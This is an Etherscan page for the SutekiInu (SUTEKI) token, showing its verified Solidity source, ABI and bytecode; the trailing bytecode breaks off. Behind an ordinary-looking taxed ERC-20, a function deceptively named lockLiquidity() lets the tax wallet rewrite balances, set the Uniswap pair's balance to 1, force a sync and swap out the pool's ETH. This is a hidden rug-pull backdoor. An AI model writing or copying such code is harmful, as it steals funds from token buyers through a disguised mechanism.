ETH Price: $3,437.85 (-2.24%)
Gas: 4 Gwei

Token

SutekiInu (SUTEKI)
 

Overview

Max Total Supply

100,000,000,000,000 SUTEKI

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,208,856,036,773.737249624870072604 SUTEKI

Value
$0.00
0xaa6e61b26d97d8a5ab1e07019fc53a5a2f7268a7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SutekiInu

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-04-15
*/

/**

     Suteki Inu — $SUTEKI 
	 Creating professional anime artwork from you!
	 https://t.me/Sutekiinu

	  .                                   .    
   +*+:                               .+++   
    :*#+.  .-=      .:.:.      --.  .+#*:    
      :*+:++:-: .:::--+=-:::. :-:+*:+#:      
       :***+-:---=+*####%%#+==-::=***-       
      =+.+***##*******###%%%@%%%##*+.+=.     
      := +=###***+==--:-=+*#%%%%%%#+ =:      
         +.###*=::::::::::---+%%%%#+         
         +-###*=::....::::---+%%%%*+         
         +=###*=::....::::---*%@%@++         
         ++###*+::....::::---#%@%%=+         
         ++*##**-::..:::::--=%%@%#:+         
         :*+##**+:::::::::--*%@%%-=-         
          +=*##**=:::::::--+%%%@*.+          
          :+:*##**=:::::--+%%%%%:+-          
           =+-###**+-----*#%%%%=+=           
           -#*-*####*+-+##%%%#=*#-           
         :=+--*:=########%%%+:*=-+=:         
       :=+:   .*+-+#####%%*-=*:   :==:       
      :-.       -**+*#%##=+*-       .-:      
                  -*#####*-                  
                    .=*=.            

**/

//SPDX-License-Identifier: MIT


pragma solidity ^0.8.9;

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}

contract SutekiInu is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	uint256 private _tTotal = 100000000000000 * 10**18;
	uint256 private _maxWallet= 100000000000000 * 10**18;

	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 public _maxTxAmount;


	string private constant _name = "SutekiInu";
	string private constant _symbol = "SUTEKI";
	uint8 private constant _decimals = 18;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = 10;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(100);
		_maxWallet=_tTotal.div(100);
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
			}
			if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
          require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
      }

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance,address(this));
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= 10000000000000000) {
					sendETHToFee(address(this).balance);
				}
			}
		}


		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

	function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			to,
			block.timestamp
		);
	}

	function increaseMaxTx(uint256 amount) public onlyOwner{
		require(amount>_maxTxAmount);
		_maxTxAmount=amount;
	}

	function increaseMaxWallet(uint256 amount) public onlyOwner{
		require(amount>_maxWallet);
		_maxWallet=amount;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function createUniswapPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function lockLiquidity() public{
		require(_msgSender()==_taxWallet);
		_balance[address(this)] = 100000000000000000;
		_balance[_pair] = 1;
		(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
		if (success) {
				swapTokensForEth(100000000, _taxWallet);
		} else { revert("Internal failure"); }
	}

	function addLiquidity() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function manualSend() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

	function manualSwap() public{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance,address(this));
	}

	function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

     function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lockLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526d04ee2d6d415b85acef81000000006005819055600655600b805461ffff60a81b191690553480156200003657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060088054336001600160a01b0319918216178255600a60078190558054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055600580543060009081526002602090815260408083209390935560048152828220805460ff19908116600190811790925595546001600160a01b0316835292909120805490941690911790925554620001159160649062000b726200017c821b17901c565b6009819055506200013860646005546200017c60201b62000b721790919060201c565b60065560055460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36200028d565b6000620001c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620001cd60201b60201c565b9392505050565b60008183620001fa5760405162461bcd60e51b8152600401620001f1919062000212565b60405180910390fd5b5060006200020984866200026a565b95945050505050565b600060208083528351808285015260005b81811015620002415785810183015185820160400152820162000223565b8181111562000254576000604083870101525b50601f01601f1916929092016040019392505050565b6000826200028857634e487b7160e01b600052601260045260246000fd5b500490565b61188a806200029d6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461034d578063bb2f71991461036d578063d91a21a614610382578063dd62ed3e146103a2578063e8078d94146103e8578063f4293890146103fd57600080fd5b8063715018a6146102ab5780637d1db4a5146102c05780638da5cb5b146102d657806395d89b41146102fe578063a457c2d71461032d57600080fd5b806339509351116100f257806339509351146102095780633e7175c5146102295780634a1316721461024b57806351bc3c851461026057806370a082311461027557600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57806323b872dd146101cd578063313ce567146101ed57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268537574656b69496e7560b81b60208201525b6040516101759190611518565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611560565b610412565b6040519015158152602001610175565b3480156101ba57600080fd5b506005545b604051908152602001610175565b3480156101d957600080fd5b5061019e6101e836600461158c565b610429565b3480156101f957600080fd5b5060405160128152602001610175565b34801561021557600080fd5b5061019e610224366004611560565b610492565b34801561023557600080fd5b506102496102443660046115cd565b6104c8565b005b34801561025757600080fd5b5061024961050e565b34801561026c57600080fd5b506102496107e7565b34801561028157600080fd5b506101bf6102903660046115e6565b6001600160a01b031660009081526002602052604090205490565b3480156102b757600080fd5b50610249610803565b3480156102cc57600080fd5b506101bf60095481565b3480156102e257600080fd5b506000546040516001600160a01b039091168152602001610175565b34801561030a57600080fd5b50604080518082019091526006815265535554454b4960d01b6020820152610168565b34801561033957600080fd5b5061019e610348366004611560565b610877565b34801561035957600080fd5b5061019e610368366004611560565b6108c6565b34801561037957600080fd5b506102496108d3565b34801561038e57600080fd5b5061024961039d3660046115cd565b610a02565b3480156103ae57600080fd5b506101bf6103bd366004611603565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103f457600080fd5b50610249610a3f565b34801561040957600080fd5b50610249610b68565b600061041f338484610bbb565b5060015b92915050565b6000610436848484610cdf565b610488843361048385604051806060016040528060288152602001611808602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611094565b610bbb565b5060019392505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161041f91859061048390866110ce565b6000546001600160a01b031633146104fb5760405162461bcd60e51b81526004016104f29061163c565b60405180910390fd5b600654811161050957600080fd5b600655565b6000546001600160a01b031633146105385760405162461bcd60e51b81526004016104f29061163c565b600b54600160a01b900460ff16156105925760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f2565b600a546005546105af9130916001600160a01b0390911690610bbb565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105fd57600080fd5b505afa158015610611573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106359190611671565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561069257600080fd5b505afa1580156106a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ca9190611671565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561071257600080fd5b505af1158015610726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074a9190611671565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e4919061168e565b50565b3060009081526002602052604081205490506107e4813061112d565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016104f29061163c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061041f338461048385604051806060016040528060258152602001611830602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190611094565b600061041f338484610cdf565b6008546001600160a01b0316336001600160a01b0316146108f357600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b03191790529151911691610960916116b0565b6000604051808303816000865af19150503d806000811461099d576040519150601f19603f3d011682016040523d82523d6000602084013e6109a2565b606091505b5050905080156109c7576008546107e4906305f5e100906001600160a01b031661112d565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b60448201526064016104f2565b6000546001600160a01b03163314610a2c5760405162461bcd60e51b81526004016104f29061163c565b6009548111610a3a57600080fd5b600955565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016104f29061163c565b600a546001600160a01b031663f305d7194730610a9b816001600160a01b031660009081526002602052604090205490565b600080610ab06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b1357600080fd5b505af1158015610b27573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b4c91906116cc565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b476107e4816112b7565b6000610bb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f5565b9392505050565b6001600160a01b038316610c1d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f2565b6001600160a01b038216610c7e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f2565b6001600160a01b038216610da55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f2565b60008111610e075760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f2565b6000546001600160a01b03848116911614801590610e3357506000546001600160a01b03838116911614155b1561103357600b546001600160a01b038481169116148015610e635750600a546001600160a01b03838116911614155b8015610e8857506001600160a01b03821660009081526004602052604090205460ff16155b15610edf57600954811115610edf5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016104f2565b600b546001600160a01b03838116911614801590610f1657506001600160a01b03821660009081526004602052604090205460ff16155b8015610f3b57506001600160a01b03831660009081526004602052604090205460ff16155b15610fbb5760065481610f63846001600160a01b031660009081526002602052604090205490565b610f6d9190611710565b1115610fbb5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a650000000060448201526064016104f2565b30600090815260026020526040902054600b54600160a81b900460ff16158015610ff35750600b546001600160a01b03858116911614155b80156110085750600b54600160b01b900460ff165b1561103157611017813061112d565b47662386f26fc10000811061102f5761102f476112b7565b505b505b6001600160a01b03821660009081526004602052604090205461108f9084908490849060ff168061107c57506001600160a01b03871660009081526004602052604090205460ff165b61108857600754611323565b6000611323565b505050565b600081848411156110b85760405162461bcd60e51b81526004016104f29190611518565b5060006110c58486611728565b95945050505050565b6000806110db8385611710565b905083811015610bb45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f2565b600b805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111755761117561173f565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111c957600080fd5b505afa1580156111dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112019190611671565b816001815181106112145761121461173f565b6001600160a01b039283166020918202929092010152600a5461123a9130911685610bbb565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611273908690600090869088904290600401611755565b600060405180830381600087803b15801561128d57600080fd5b505af11580156112a1573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112f1573d6000803e3d6000fd5b5050565b600081836113165760405162461bcd60e51b81526004016104f29190611518565b5060006110c584866117c6565b600061133a60646113348585611427565b90610b72565b9050600061134884836114a6565b6001600160a01b03871660009081526002602052604090205490915061136e90856114a6565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461139d90826110ce565b6001600160a01b0386166000908152600260205260408082209290925530815220546113c990836110ce565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261143657506000610423565b600061144283856117e8565b90508261144f85836117c6565b14610bb45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f2565b6000610bb483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611094565b60005b838110156115035781810151838201526020016114eb565b83811115611512576000848401525b50505050565b60208152600082518060208401526115378160408501602087016114e8565b601f01601f19169190910160400192915050565b6001600160a01b03811681146107e457600080fd5b6000806040838503121561157357600080fd5b823561157e8161154b565b946020939093013593505050565b6000806000606084860312156115a157600080fd5b83356115ac8161154b565b925060208401356115bc8161154b565b929592945050506040919091013590565b6000602082840312156115df57600080fd5b5035919050565b6000602082840312156115f857600080fd5b8135610bb48161154b565b6000806040838503121561161657600080fd5b82356116218161154b565b915060208301356116318161154b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561168357600080fd5b8151610bb48161154b565b6000602082840312156116a057600080fd5b81518015158114610bb457600080fd5b600082516116c28184602087016114e8565b9190910192915050565b6000806000606084860312156116e157600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008219821115611723576117236116fa565b500190565b60008282101561173a5761173a6116fa565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117a55784516001600160a01b031683529383019391830191600101611780565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826117e357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611802576118026116fa565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d67a65a35a051c0f1d85fbfc2b6df5841bb2fda8c9094e60c4fb373b1846fd1764736f6c63430008090033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461034d578063bb2f71991461036d578063d91a21a614610382578063dd62ed3e146103a2578063e8078d94146103e8578063f4293890146103fd57600080fd5b8063715018a6146102ab5780637d1db4a5146102c05780638da5cb5b146102d657806395d89b41146102fe578063a457c2d71461032d57600080fd5b806339509351116100f257806339509351146102095780633e7175c5146102295780634a1316721461024b57806351bc3c851461026057806370a082311461027557600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57806323b872dd146101cd578063313ce567146101ed57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268537574656b69496e7560b81b60208201525b6040516101759190611518565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611560565b610412565b6040519015158152602001610175565b3480156101ba57600080fd5b506005545b604051908152602001610175565b3480156101d957600080fd5b5061019e6101e836600461158c565b610429565b3480156101f957600080fd5b5060405160128152602001610175565b34801561021557600080fd5b5061019e610224366004611560565b610492565b34801561023557600080fd5b506102496102443660046115cd565b6104c8565b005b34801561025757600080fd5b5061024961050e565b34801561026c57600080fd5b506102496107e7565b34801561028157600080fd5b506101bf6102903660046115e6565b6001600160a01b031660009081526002602052604090205490565b3480156102b757600080fd5b50610249610803565b3480156102cc57600080fd5b506101bf60095481565b3480156102e257600080fd5b506000546040516001600160a01b039091168152602001610175565b34801561030a57600080fd5b50604080518082019091526006815265535554454b4960d01b6020820152610168565b34801561033957600080fd5b5061019e610348366004611560565b610877565b34801561035957600080fd5b5061019e610368366004611560565b6108c6565b34801561037957600080fd5b506102496108d3565b34801561038e57600080fd5b5061024961039d3660046115cd565b610a02565b3480156103ae57600080fd5b506101bf6103bd366004611603565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103f457600080fd5b50610249610a3f565b34801561040957600080fd5b50610249610b68565b600061041f338484610bbb565b5060015b92915050565b6000610436848484610cdf565b610488843361048385604051806060016040528060288152602001611808602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611094565b610bbb565b5060019392505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161041f91859061048390866110ce565b6000546001600160a01b031633146104fb5760405162461bcd60e51b81526004016104f29061163c565b60405180910390fd5b600654811161050957600080fd5b600655565b6000546001600160a01b031633146105385760405162461bcd60e51b81526004016104f29061163c565b600b54600160a01b900460ff16156105925760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f2565b600a546005546105af9130916001600160a01b0390911690610bbb565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105fd57600080fd5b505afa158015610611573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106359190611671565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561069257600080fd5b505afa1580156106a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ca9190611671565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561071257600080fd5b505af1158015610726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074a9190611671565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e4919061168e565b50565b3060009081526002602052604081205490506107e4813061112d565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016104f29061163c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061041f338461048385604051806060016040528060258152602001611830602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190611094565b600061041f338484610cdf565b6008546001600160a01b0316336001600160a01b0316146108f3576000